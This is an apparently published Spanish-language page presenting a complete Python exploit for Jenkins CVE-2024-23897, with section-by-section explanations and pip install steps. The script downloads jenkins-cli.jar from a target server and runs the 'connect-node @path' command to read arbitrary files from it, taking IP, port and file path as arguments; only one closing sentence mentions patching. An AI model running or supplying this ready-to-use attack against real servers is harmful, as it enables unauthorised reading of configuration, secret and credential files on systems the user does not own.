
exploit que vulnera Jenkins hecho en Python

parametros ip , puerto , ruta

output del exploit

Panel de ayuda
Aquí tienes la explicación del código en Markdown:
Este script está diseñado para explotar una vulnerabilidad específica en Jenkins (CVE-2024-23897). Permite descargar un archivo JAR desde un servidor Jenkins y ejecutar un payload para conectar un nodo Jenkins. A continuación se explica cada parte del código:
import argparse
import requests
import os
import subprocess
import sys
argparse: Para manejar argumentos de línea de comandos.requests: Para hacer solicitudes HTTP.os: Para interactuar con el sistema operativo.subprocess: Para ejecutar comandos del sistema.sys: Para interactuar con el intérprete de Python.bannerdef banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
Esta función imprime un banner decorativo al inicio del script.
descargar_jardef descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
Esta función descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado por la dirección IP y el puerto. Si la descarga es exitosa, guarda el archivo en el sistema y devuelve True; de lo contrario, devuelve False.
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
Esta función ejecuta un comando para conectar un nodo Jenkins utilizando el archivo jenkins-cli.jar. Después de ejecutar el comando, elimina el archivo JAR. Si hay un error en la ejecución, muestra un mensaje de error.
maindef main():
"""
Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
La función principal del script:
ip, puerto, ruta).banner para imprimir el banner.descargar_jar para descargar el archivo JAR.attack_payload para ejecutar el payload; si no, finaliza el script con un código de salida 1.if __name__ == '__main__':
main()
Este bloque asegura que la función main se ejecute solo si el script se ejecuta directamente, no si se importa como módulo.
Este script es una herramienta para explotar una vulnerabilidad en Jenkins. Descarga un archivo JAR desde un servidor Jenkins y utiliza ese archivo para ejecutar un payload que conecta un nodo Jenkins. Los argumentos necesarios (ip, puerto, ruta) se proporcionan a través de la línea de comandos.
Aquí tienes una lista de las librerías necesarias junto con los comandos pip install para cada una:
argparse: Esta librería está incluida en la biblioteca estándar de Python, por lo que no necesitas instalarla.
requests: Para hacer solicitudes HTTP.
pip install requests
os: Esta librería está incluida en la biblioteca estándar de Python, por lo que no necesitas instalarla.
subprocess: Esta librería está incluida en la biblioteca estándar de Python, por lo que no necesitas instalarla.
sys: Esta librería está incluida en la biblioteca estándar de Python, por lo que no necesitas instalarla.
pip install requests
@/ruta/del/archivo.@/ruta/del/archivo y reemplaza este argumento con el contenido del archivo especificado.Actualizar y configurar adecuadamente Jenkins es crucial para proteger el sistema contra esta vulnerabilidad.
